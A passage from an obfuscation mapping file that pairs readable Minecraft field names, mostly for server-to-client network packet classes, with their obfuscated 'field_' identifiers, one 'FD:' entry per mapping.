net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/posZ net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/field_148988_d +FD: net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/xpValue net/minecraft/network/play/server/S11PacketSpawnExperienceOrb/field_148989_e +FD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/entityId net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/field_149059_a +FD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/x net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/field_149057_b +FD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/y net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/field_149058_c +FD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/z net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/field_149055_d +FD: net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/type net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity/field_149056_e +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/entityId net/minecraft/network/play/server/S0FPacketSpawnMob/field_149042_a +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/type net/minecraft/network/play/server/S0FPacketSpawnMob/field_149040_b +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/x net/minecraft/network/play/server/S0FPacketSpawnMob/field_149041_c +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/y net/minecraft/network/play/server/S0FPacketSpawnMob/field_149038_d +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/z net/minecraft/network/play/server/S0FPacketSpawnMob/field_149039_e +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/velocityX net/minecraft/network/play/server/S0FPacketSpawnMob/field_149036_f +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/velocityY net/minecraft/network/play/server/S0FPacketSpawnMob/field_149037_g +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/velocityZ net/minecraft/network/play/server/S0FPacketSpawnMob/field_149047_h +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/yaw net/minecraft/network/play/server/S0FPacketSpawnMob/field_149048_i +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/pitch net/minecraft/network/play/server/S0FPacketSpawnMob/field_149045_j +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/headPitch net/minecraft/network/play/server/S0FPacketSpawnMob/field_149046_k +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/field_149043_l net/minecraft/network/play/server/S0FPacketSpawnMob/field_149043_l +FD: net/minecraft/network/play/server/S0FPacketSpawnMob/watcher net/minecraft/network/play/server/S0FPacketSpawnMob/field_149044_m +FD: net/minecraft/network/play/server/S10PacketSpawnPainting/entityID net/minecraft/network/play/server/S10PacketSpawnPainting/field_148973_a +FD: net/minecraft/network/play/server/S10PacketSpawnPainting/position net/minecraft/network/play/server/S10PacketSpawnPainting/field_179838_b +FD: net/minecraft/network/play/server/S10PacketSpawnPainting/facing net/minecraft/network/play/server/S10PacketSpawnPainting/field_179839_c +FD: net/minecraft/network/play/server/S10PacketSpawnPainting/title net/minecraft/network/play/server/S10PacketSpawnPainting/field_148968_f +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/entityId net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148957_a +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/playerId net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_179820_b +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/x net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148956_c +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/y net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148953_d +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/z net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148954_e +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/yaw net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148951_f +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/pitch net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148952_g +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/currentItem net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148959_h +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/watcher net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148960_i +FD: net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148958_j net/minecraft/network/play/server/S0CPacketSpawnPlayer/field_148958_j +FD: net/minecraft/network/play/server/S0BPacketAnimation/entityId net/minecraft/network/play/server/S0BPacketAnimation/field_148981_a +FD: net/minecraft/network/play/server/S0BPacketAnimation/type net/minecraft/network/play/server/S0BPacketAnimation/field_148980_b +FD: net/minecraft/network/play/server/S37PacketStatistics/field_148976_a net/minecraft/network/play/server/S37PacketStatistics/field_148976_a +FD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/breakerId net/minecraft/network/play/server/S25PacketBlockBreakAnim/field_148852_a +FD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/position net/minecraft/network/play/server/S25PacketBlockBreakAnim/field_179822_b +FD: net/minecraft/network/play/server/S25PacketBlockBreakAnim/progress net/minecraft/network/play/server/S25PacketBlockBreakAnim/field_148849_e +FD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/blockPos net/minecraft/network/play/server/S35PacketUpdateTileEntity/field_179824_a +FD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/metadata net/minecraft/network/play/server/S35PacketUpdateTileEntity/field_148859_d +FD: net/minecraft/network/play/server/S35PacketUpdateTileEntity/nbt net/minecraft/network/play/server/S35PacketUpdateTileEntity/field_148860_e +FD: net/minecraft/network/play/server/S24PacketBlockAction/blockPosition net/minecraft/network/play/server/S24PacketBlockAction/field_179826_a +FD: net/minecraft/network/play/server/S24PacketBlockAction/instrument net/minecraft/network/play/server/S24PacketBlockAction/field_148872_d +FD: net/minecraft/network/play/server/S24PacketBlockAction/pitch net/minecraft/network/play/server/S24PacketBlockAction/field_148873_e +FD: net/minecraft/network/play/server/S24PacketBlockAction/block net/minecraft/network/play/server/S24PacketBlockAction/field_148871_f +FD: net/minecraft/network/play/server/S23PacketBlockChange/blockPosition net/minecraft/network/play/server/S23PacketBlockChange/field_179828_a +FD: net/minecraft/network/play/server/S23PacketBlockChange/blockState net/minecraft/network/play/server/S23PacketBlockChange/field_148883_d +FD: net/minecraft/network/play/server/S41PacketServerDifficulty/difficulty net/minecraft/network/play/server/S41PacketServerDifficulty/field_179833_a +FD: net/minecraft/network/play/server/S41PacketServerDifficulty/difficultyLocked net/minecraft/network/play/server/S41PacketServerDifficulty/field_179832_b +FD: net/minecraft/network/play/server/S3APacketTabComplete/matches net/minecraft/network/play/server/S3APacketTabComplete/field_149632_a +FD: net/minecraft/network/play/server/S02PacketChat/chatComponent net/minecraft/network/play/server/S02PacketChat/field_148919_a +FD: net/minecraft/network/play/server/S02PacketChat/type net/minecraft/network/play/server/S02PacketChat/field_179842_b +FD: net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/field_180093_a net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/field_180093_a +FD: net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/chunkPosCrammed net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/field_180091_b +FD: net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/blockState net/minecraft/network/play/server/S22PacketMultiBlockChange$BlockUpdateData/field_180092_c +FD: net/minecraft/network/play/server/S22PacketMultiBlockChange/chunkPosCoord net/minecraft/network/play/server/S22PacketMultiBlockChange/field_148925_b +FD: net/minecraft/network/play/server/S22PacketMultiBlockChange/changedBlocks net/minecraft/network/play/server/S22PacketMultiBlockChange/field_179845_b +FD: net/minecraft/util/Util$EnumOS/LINUX net/minecraft/util/Util$EnumOS/LINUX +FD: net/minecraft/util/Util$EnumOS/SOLARIS net/minecraft/util/Util$EnumOS/SOLARIS +FD: net/minecraft/util/Util$EnumOS/WINDOWS net/minecraft/util/Util$EnumOS/WINDOWS +FD: net/minecraft/util/Util$EnumOS/OSX net/minecraft/util/Util$EnumOS/OSX +FD: net/minecraft/util/Util$EnumOS/UNKNOWN net/minecraft/util/Util$EnumOS/UNKNOWN +FD: net/minecraft/util/Util$EnumOS/$VALUES net/minecraft/util/Util$EnumOS/$VALUES +FD: net/minecraft/network/play/server/S32PacketConfirmTransaction/windowId net/minecraft/network/play/server/S32PacketConfirmTransaction/field_148894_a +FD: net/minecraft/network/play/server/S32PacketConfirmTransaction/actionNumber net/minecraft/network/play/server/S32PacketConfirmTransaction/field_148892_b +FD: net/minecraft/network/play/server/S32PacketConfirmTransaction/field_148893_c net/minecraft/network/play/server/S32PacketConfirmTransaction/field_148893_c +FD: net/minecraft/network/play/server/S2EPacketCloseWindow/windowId net/minecraft/network/play/server/S2EPacketCloseWindow/field_148896_a +FD: net/minecraft/network/play/server/S2DPacketOpenWindow/windowId net/minecraft/network/play/server/S2DPacketOpenWindow/field_148909_a +FD: net/minecraft/network/play/server/S2DPacketOpenWindow/inventoryType net/minecraft/network/play/server/S2DPacketOpenWindow/field_148907_b +FD: net/minecraft/network/play/server/S2DPacketOpenWindow/windowTitle net/minecraft/network/play/server/S2DPacketOpenWindow/field_148908_c +FD: net/minecraft/network/play/server/S2DPacketOpenWindow/slotCount net/minecraft/network/play/server/S2DPacketOpenWindow/field_148905_d +FD: net/minecraft/network/play/server/S2DPacketOpenWindow/entityId net/minecraft/network/play/server/S2DPacketOpenWindow/field_148904_f +FD: net/minecraft/network/play/server/S30PacketWindowItems/windowId net/minecraft/network/play/server/S30PacketWindowItems/field_148914_a +FD: net/minecraft/network/play/server/S30PacketWindowItems/itemStacks net/minecraft/network/play/server/S30PacketWindowItems/field_148913_b +FD: net/minecraft/network/play/server/S31PacketWindowProperty/windowId net/minecraft/network/play/server/S31PacketWindowProperty/field_149186_a +FD: net/minecraft/network/play/server/S31PacketWindowProperty/varIndex net/minecraft/network/play/server/S31PacketWindowProperty/field_149184_b +FD: net/minecraft/network/play/server/S31PacketWindowProperty/varValue net/minecraft/network/play/server/S31PacketWindowProperty/field_149185_c +FD: net/minecraft/network/play/server/S2FPacketSetSlot/windowId net/minecraft/network/play/server/S2FPacketSetSlot/field_149179_a +FD: net/minecraft/network/play/server/S2FPacketSetSlot/slot net/minecraft/network/play/server/S2FPacketSetSlot/field_149177_b +FD: net/minecraft/network/play/server/S2FPacketSetSlot/item net/minecraft/network/play/server/S2FPacketSetSlot/field_149178_c +FD: net/minecraft/network/play/server/S3FPacketCustomPayload/channel net/minecraft/network/play/server/S3FPacketCustomPayload/field_149172_a +FD: net/minecraft/network/play/server/S3FPacketCustomPayload/data net/minecraft/network/play/server/S3FPacketCustomPayload/field_149171_b +FD: net/minecraft/network/play/server/S40PacketDisconnect/reason net/minecraft/network/play/server/S40PacketDisconnect/field_149167_a +FD: net/minecraft/network/play/server/S19PacketEntityStatus/entityId net/minecraft/network/play/server/S19PacketEntityStatus/field_149164_a +FD: net/minecraft/network/play/server/S19PacketEntityStatus/logicOpcode net/minecraft/network/play/server/S19PacketEntityStatus/field_149163_b +FD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/entityId net/minecraft/network/play/server/S49PacketUpdateEntityNBT/field_179766_a +FD: net/minecraft/network/play/server/S49PacketUpdateEntityNBT/tagCompound net/minecraft/network/play/server/S49PacketUpdateEntityNBT/field_179765_b +FD: net/minecraft/network/play/server/S27PacketExplosion/posX net/minecraft/network/play/server/S27PacketExplosion/field_149158_a +FD: net/minecraft/network/play/server/S27PacketExplosion/posY net/minecraft/network/play/server/S27PacketExplosion/field_149156_b +FD: net/minecraft/network/play/server/S27PacketExplosion/posZ net/minecraft/network/play/server/S27PacketExplosion/field_149157_c +FD: net/minecraft/network/play/server/S27PacketExplosion/strength net/minecraft/network/play/server/S27PacketExplosion/field_149154_d +FD: net/minecraft/network/play/server/S27PacketExplosion/affectedBlockPositions net/minecraft/network/play/server/S27PacketExplosion/field_149155_e +FD: net/minecraft/network/play/server/S27PacketExplosion/field_149152_f net/minecraft/network/play/server/S27PacketExplosion/field_149152_f +FD: net/minecraft/network/play/server/S27PacketExplosion/field_149153_g net/minecraft/network/play/server/S27PacketExplosion/field_149153_g +FD: net/minecraft/network/play/server/S27PacketExplosion/field_149159_h net/minecraft/network/play/server/S27PacketExplosion/field_149159_h +FD: net/minecraft/network/play/server/S46PacketSetCompressionLevel/threshold net/minecraft/network/play/server/S46PacketSetCompressionLevel/field_179761_a +FD: net/minecraft/network/play/server/S2BPacketChangeGameState/MESSAGE_NAMES net/minecraft/network/play/server/S2BPacketChangeGameState/field_149142_a +FD: net/minecraft/network/play/server/S2BPacketChangeGameState/state net/minecraft/network/play/server/S2BPacketChangeGameState/field_149140_b +FD: net/minecraft/network/play/server/S2BPacketChangeGameState/field_149141_c net/minecraft/network/play/server/S2BPacketChangeGameState/field_149141_c +FD: net/minecraft/network/play/server/S00PacketKeepAlive/id net/minecraft/network/play/server/S00PacketKeepAlive/field_149136_a +FD: net/minecraft/network/play/server/S21PacketChunkData$Extracted/data net/minecraft/network/play/server/S21PacketChunkData$Extracted/field_150282_a +FD: net/minecraft/network/play/server/S21PacketChunkData$Extracted/dataSize net/minecraft/network/play/server/S21PacketChunkData$Extracted/field_150280_b +FD: net/minecraft/network/play/server/S21PacketChunkData/chunkX net/minecraft/network/play/server/S21PacketChunkData/field_149284_a +FD: net/minecraft/network/play/server/S21PacketChunkData/chunkZ net/minecraft/network/play/server/S21PacketChunkData/field_149282_b +FD: net/minecraft/network/play/server/S21PacketChunkData/extractedData net/minecraft/network/play/server/S21PacketChunkData/field_179758_c +FD: net/minecraft/network/play/server/S21PacketChunkData/field_149279_g net/minecraft/network/play/server/S21PacketChunkData/field_149279_g +FD: net/minecraft/network/play/server/S26PacketMapChunkBulk/xPositions net/minecraft/network/play/server/S26PacketMapChunkBulk/field_149266_a +FD: net/minecraft/network/play/server/S26PacketMapChunkBulk/zPositions net/minecraft/network/play/server/S26PacketMapChunkBulk/field_149264_b +FD: net/minecraft/network/play/server/S26PacketMapChunkBulk/chunksData net/minecraft/network/play/server/S26PacketMapChunkBulk/field_179755_c +FD: net/minecraft/network/play/server/S26PacketMapChunkBulk/isOverworld net/minecraft/network/play/server/S26PacketMapChunkBulk/field_149267_h +FD: net/minecraft/network/play/server/S28PacketEffect/soundType net/minecraft/network/play/server/S28PacketEffect/field_149251_a +FD: net/minecraft/network/play/server/S28PacketEffect/soundPos net/minecraft/network/play/server/S28PacketEffect/field_179747_b +FD: net/minecraft/network/play/server/S28PacketEffect/soundData net/minecraft/network/play/server/S28PacketEffect/field_149249_b +FD: net/minecraft/network/play/server/S28PacketEffect/serverWide net/minecraft/network/play/server/S28PacketEffect/field_149246_f +FD: net/minecraft/network/play/server/S2APacketParticles/particleType net/minecraft/network/play/server/S2APacketParticles/field_179751_a +FD: net/minecraft/network/play/server/S2APacketParticles/xCoord net/minecraft/network/play/server/S2APacketParticles/field_149234_b +FD: net/minecraft/network/play/server/S2APacketParticles/yCoord net/minecraft/network/play/server/S2APacketParticles/field_149235_c +FD: net/minecraft/network/play/server/S2APacketParticles/zCoord net/minecraft/network/play/server/S2APacketParticles/field_149232_d +FD: net/minecraft/network/play/server/S2APacketParticles/xOffset net/minecraft/network/play/server/S2APacketParticles/field_149233_e +FD: net/minecraft/network/play/server/S2APacketParticles/yOffset net/minecraft/network/play/server/S2APacketParticles/field_149230_f +FD: net/minecraft/network/play/server/S2APacketParticles/zOffset net/minecraft/network/play/server/S2APacketParticles/field_149231_g +FD: net/minecraft/network/play/server/S2APacketParticles/particleSpeed net/minecraft/network/play/server/S2APacketParticles/field_149237_h +FD: net/minecraft/network/play/server/S2APacketParticles/particleCount net/minecraft/network/play/server/S2APacketParticles/field_149238_i +FD: net/minecraft/network/play/server/S2APacketParticles/longDistance net/minecraft/network/play/server/S2APacketParticles/field_179752_j +FD: net/minecraft/network/play/server/S2APacketParticles/particleArguments net/minecraft/network/play/server/S2APacketParticles/field_179753_k +FD: net/minecraft/network/play/server/S29PacketSoundEffect/soundName net/minecraft/network/play/server/S29PacketSoundEffect/field_149219_a +FD: net/minecraft/network/play/server/S29PacketSoundEffect/posX net/minecraft/network/play/server/S29PacketSoundEffect/field_149217_b +FD: net/minecraft/network/play/server/S29PacketSoundEffect/posY net/minecraft/network/play/server/S29PacketSoundEffect/field_149218_c +FD: net/minecraft/network/play/server/S29PacketSoundEffect/posZ net/minecraft/network/play/server/S29PacketSoundEffect/field_149215_d +FD: net/minecraft/network/play/server/S29PacketSoundEffect/soundVolume net/minecraft/network/play/server/S29PacketSoundEffect/field_149216_e +FD: net/minecraft/network/play/server/S29PacketSoundEffect/soundPitch net/minecraft/network/play/server/S29PacketSoundEffect/field_149214_f +FD: net/minecraft/network/play/server/S01PacketJoinGame/entityId net/minecraft/network/play/server/S01PacketJoinGame/field_149206_a +FD: net/minecraft/network/play/server/S01PacketJoinGame/hardcoreMode net/minecraft/network/play/server/S01PacketJoinGame/field_149204_b +FD: net/minecraft/network/play/server/S01PacketJoinGame/gameType net/minecraft/network/play/server/S01PacketJoinGame/field_149205_c +FD: net/minecraft/network/play/server/S01PacketJoinGame/dimension net/minecraft/network/play/server/S01PacketJoinGame/field_149202_d +FD: net/minecraft/network/play/server/S01PacketJoinGame/difficulty net/minecraft/network/play/server/S01PacketJoinGame/field_149203_e +FD: net/minecraft/network/play/server/S01PacketJoinGame/maxPlayers net/minecraft/network/play/server/S01PacketJoinGame/field_149200_f +FD: net/minecraft/network/play/server/S01PacketJoinGame/worldType net/minecraft/network/play/server/S01PacketJoinGame/field_149201_g +FD: net/minecraft/network/play/server/S01PacketJoinGame/reducedDebugInfo net/minecraft/network/play/server/S01PacketJoinGame/field_179745_h +FD: net/minecraft/network/play/server/S34PacketMaps/mapId net/minecraft/network/play/server/S34PacketMaps/field_149191_a +FD: net/minecraft/network/play/server/S34PacketMaps/mapScale net/minecraft/network/play/server/S34PacketMaps/field_179739_b +FD: net/minecraft/network/play/server/S34PacketMaps/mapVisiblePlayersVec4b net/minecraft/network/play/server/S34PacketMaps/field_179740_c +FD: net/minecraft/network/play/server/S34PacketMaps/mapMinX net/minecraft/network/play/server/S34PacketMaps/field_179737_d +FD: net/minecraft/network/play/server/S34PacketMaps/mapMinY net/minecraft/network/play/server/S34PacketMaps/field_179738_e +FD: net/minecraft/network/play/server/S34PacketMaps/mapMaxX net/minecraft/network/play/server/S34PacketMaps/field_179735_f +FD: net/minecraft/network/play/server/S34PacketMaps/mapMaxY net/minecraft/network/play/server/S34PacketMaps/field_179736_g +FD: net/minecraft/network/play/server/S34PacketMaps/mapDataBytes net/minecraft/network/play/server/S34PacketMaps/field_179741_h +FD: net/minecraft/network/play/server/S14PacketEntity/entityId net/minecraft/network/play/server/S14PacketEntity/field_149074_a +FD: net/minecraft/network/play/server/S14PacketEntity/posX net/minecraft/network/play/server/S14PacketEntity/field_149072_b +FD: net/minecraft/network/play/server/S14PacketEntity/posY net/minecraft/network/play/server/S14PacketEntity/field_149073_c +FD: net/minecraft/network/play/server/S14PacketEntity/posZ net/minecraft/network/play/server/S14PacketEntity/field_149070_d +FD: net/minecraft/network/play/server/S14PacketEntity/yaw net/minecraft/network/play/server/S14PacketEntity/field_149071_e +FD: net/minecraft/network/play/server/S14PacketEntity/pitch net/minecraft/network/play/server/S14PacketEntity/field_149068_f +FD: net/minecraft/network/play/server/S14PacketEntity/onGround net/minecraft/network/play/server/S14PacketEntity/field_179743_g +FD: net/minecraft/network/play/server/S14PacketEntity/field_149069_g net/minecraft/network/play/server/S14PacketEntity/field_149069_g +FD: net/minecraft/network/play/server/S36PacketSignEditorOpen/signPosition net/minecraft/network/play/server/S36PacketSignEditorOpen/field_179778_a +FD: net/minecraft/network/play/server/S39PacketPlayerAbilities/invulnerable net/minecraft/network/play/server/S39PacketPlayerAbilities/field_149119_a +FD: net/minecraft/network/play/server/S39PacketPlayerAbilities/flying net/minecraft/network/play/server/S39PacketPlayerAbilities/field_149117_b +FD: net/minecraft/network/play/server/S39PacketPlayerAbilities/allowFlying net/minecraft/network/play/server/S39PacketPlayerAbilities/field_149118_c +FD: net/minecraft/network/play/server/S39PacketPlayerAbilities/creativeMode net/minecraft/network/play/server/S39PacketPlayerAbilities/field_149115_d +FD: net/minecraft/network/play/server/S39PacketPlayerAbilities/flySpeed net/minecraft/network/play/server/S39PacketPlayerAbilities/field_149116_e +FD: net/minecraft/network/play/server/S39PacketPlayerAbilities/walkSpeed net/minecraft/network/play/server/S39PacketPlayerAbilities/field_149114_f +FD: net/minecraft/network/play/server/S42PacketCombatEvent$1/field_179944_a net/minecraft/network/play/server/S42PacketCombatEvent$1/field_179944_a +FD: net/minecraft/network/play/server/S42PacketCombatEvent$Event/ENTER_COMBAT net/minecraft/network/play/server/S42PacketCombatEvent$Event/ENTER_COMBAT +FD: net/minecraft/network/play/server/S42PacketCombatEvent$Event/END_COMBAT net/minecraft/network/play/server/S42PacketCombatEvent$Event/END_COMBAT +FD: net/minecraft/network/play/server/S42PacketCombatEvent$Event/ENTITY_DIED net/minecraft/network/play/server/S42PacketCombatEvent$Event/ENTITY_DIED +FD: net/minecraft/network/play/server/S42PacketCombatEvent$Event/$VALUES net/minecraft/network/play/server/S42PacketCombatEvent$Event/$VALUES +FD: net/minecraft/network/play/server/S42PacketCombatEvent/eventType net/minecraft/network/play/server/S42PacketCombatEvent/field_179776_a +FD: net/minecraft/network/play/server/S42PacketCombatEvent/field_179774_b net/minecraft/network/play/server/S42PacketCombatEvent/field_179774_b +FD: net/minecraft/network/play/server/S42PacketCombatEvent/field_179775_c net/minecraft/network/play/server/S42PacketCombatEvent/field_179775_c +FD: net/minecraft/network/play/server/S42PacketCombatEvent/field_179772_d net/minecraft/network/play/server/S42PacketCombatEvent/field_179772_d +FD: net/minecraft/network/play/server/S42PacketCombatEvent/deathMessage net/minecraft/network/play/server/S42PacketCombatEvent/field_179773_e +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$1/field_179938_a net/minecraft/network/play/server/S38PacketPlayerListItem$1/field_179938_a +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$Action/ADD_PLAYER net/minecraft/network/play/server/S38PacketPlayerListItem$Action/ADD_PLAYER +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$Action/UPDATE_GAME_MODE net/minecraft/network/play/server/S38PacketPlayerListItem$Action/UPDATE_GAME_MODE +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$Action/UPDATE_LATENCY net/minecraft/network/play/server/S38PacketPlayerListItem$Action/UPDATE_LATENCY +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$Action/UPDATE_DISPLAY_NAME net/minecraft/network/play/server/S38PacketPlayerListItem$Action/UPDATE_DISPLAY_NAME +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$Action/REMOVE_PLAYER net/minecraft/network/play/server/S38PacketPlayerListItem$Action/REMOVE_PLAYER +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$Action/$VALUES net/minecraft/network/play/server/S38PacketPlayerListItem$Action/$VALUES +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/field_179968_a net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/field_179968_a +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/ping net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/field_179966_b +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/gamemode net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/field_179967_c +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/profile net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/field_179964_d +FD: net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/displayName net/minecraft/network/play/server/S38PacketPlayerListItem$AddPlayerData/field_179965_e +FD: net/minecraft/network/play/server/S38PacketPlayerListItem/action net/minecraft/network/play/server/S38PacketPlayerListItem/field_179770_a +FD: net/minecraft/network/play/server/S38PacketPlayerListItem/players net/minecraft/network/play/server/S38PacketPlayerListItem/field_179769_b +FD: net/minecraft/network/play/server/S0APacketUseBed/playerID net/minecraft/network/play/server/S0APacketUseBed/field_149097_a +FD: net/minecraft/network/play/server/S0APacketUseBed/bedPos net/minecraft/network/play/server/S0APacketUseBed/field_179799_b +FD: net/minecraft/network/play/server/S13PacketDestroyEntities/entityIDs net/minecraft/network/play/server/S13PacketDestroyEntities/field_149100_a +FD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/entityId net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/field_149079_a +FD: net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/effectId net/minecraft/network/play/server/S1EPacketRemoveEntityEffect/field_149078_b +FD: net/minecraft/network/play/server/S48PacketResourcePackSend/url net/minecraft/network/play/server/S48PacketResourcePackSend/field_179786_a +FD: net/minecraft/network/play/server/S48PacketResourcePackSend/hash net/minecraft/network/play/server/S48PacketResourcePackSend/field_179785_b +FD: net/minecraft/network/play/server/S07PacketRespawn/dimensionID net/minecraft/network/play/server/S07PacketRespawn/field_149088_a +FD: net/minecraft/network/play/server/S07PacketRespawn/difficulty net/minecraft/network/play/server/S07PacketRespawn/field_149086_b +FD: net/minecraft/network/play/server/S07PacketRespawn/gameType net/minecraft/network/play/server/S07PacketRespawn/field_149087_c +FD: net/minecraft/network/play/server/S07PacketRespawn/worldType net/minecraft/network/play/server/S07PacketRespawn/field_149085_d +FD: net/minecraft/network/play/server/S19PacketEntityHeadLook/entityId net/minecraft/network/play/server/S19PacketEntityHeadLook/field_149384_a +FD: net/minecraft/network/play/server/S19PacketEntityHeadLook/yaw net/minecraft/network/play/server/S19PacketEntityHeadLook/field_149383_b +FD: net/minecraft/network/play/server/S44PacketWorldBorder$1/field_179947_a net/minecraft/network/play/server/S44PacketWorldBorder$1/field_179947_a +FD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_SIZE net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_SIZE +FD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/LERP_SIZE net/minecraft/network/play/server/S44PacketWorldBorder$Action/LERP_SIZE +FD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_CENTER net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_CENTER +FD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/INITIALIZE net/minecraft/network/play/server/S44PacketWorldBorder$Action/INITIALIZE +FD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_WARNING_TIME net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_WARNING_TIME +FD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_WARNING_BLOCKS net/minecraft/network/play/server/S44PacketWorldBorder$Action/SET_WARNING_BLOCKS +FD: net/minecraft/network/play/server/S44PacketWorldBorder$Action/$VALUES net/minecraft/network/play/server/S44PacketWorldBorder$Action/$VALUES +FD: net/minecraft/network/play/server/S44PacketWorldBorder/action net/minecraft/network/play/server/S44PacketWorldBorder/field_179795_a +FD: net/minecraft/network/play/server/S44PacketWorldBorder/size net/minecraft/network/play/server/S44PacketWorldBorder/field_179793_b +FD: net/minecraft/network/play/server/S44PacketWorldBorder/centerX net/minecraft/network/play/server/S44PacketWorldBorder/field_179794_c +FD: net/minecraft/network/play/server/S44PacketWorldBorder/centerZ net/minecraft/network/play/server/S44PacketWorldBorder/field_179791_d +FD: net/minecraft/network/play/server/S44PacketWorldBorder/targetSize net/minecraft/network/play/server/S44PacketWorldBorder/field_179792_e +FD: net/minecraft/network/play/server/S44PacketWorldBorder/diameter net/minecraft/network/play/server/S44PacketWorldBorder/field_179789_f +FD: net/minecraft/network/play/server/S44PacketWorldBorder/timeUntilTarget net/minecraft/network/play/server/S44PacketWorldBorder/field_179790_g +FD: net/minecraft/network/play/server/S44PacketWorldBorder/warningTime net/minecraft/network/play/server/S44PacketWorldBorder/field_179796_h +FD: net/minecraft/network/play/server/S44PacketWorldBorder/warningDistance net/minecraft/network/play/server/S44PacketWorldBorder/field_179797_i +FD: net/minecraft/network/play/server/S43PacketCamera/entityId net/minecraft/network/play/server/S43PacketCamera/field_179781_a +FD: net/minecraft/network/play/server/S09PacketHeldItemChange/heldItemHotbarIndex net/minecraft/network/play/server/S09PacketHeldItemChange/field_149387_a +FD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/position net/minecraft/network/play/server/S3DPacketDisplayScoreboard/field_149374_a +FD: net/minecraft/network/play/server/S3DPacketDisplayScoreboard/scoreName net/minecraft/network/play/server/S3DPacketDisplayScoreboard/field_149373_b +FD: net/minecraft/network/play/server/S1CPacketEntityMetadata/entityId net/minecraft/network/play/server/S1CPacketEntityMetadata/field_149379_a +FD: net/minecraft/network/play/server/S1CPacketEntityMetadata/field_149378_b net/minecraft/network/play/server/S1CPacketEntityMetadata/field_149378_b +FD: net/minecraft/network/play/server/S1BPacketEntityAttach/leash net/minecraft/network/play/server/S1BPacketEntityAttach/field_149408_a +FD: net/minecraft/network/play/server/S1BPacketEntityAttach/entityId net/minecraft/network/play/server/S1BPacketEntityAttach/field_149406_b +FD: net/minecraft/network/play/server/S1BPacketEntityAttach/vehicleEntityId net/minecraft/network/play/server/S1BPacketEntityAttach/field_149407_c +FD: net/minecraft/network/play/server/S12PacketEntityVelocity/entityID net/minecraft/network/play/server/S12PacketEntityVelocity/field_149417_a +FD: 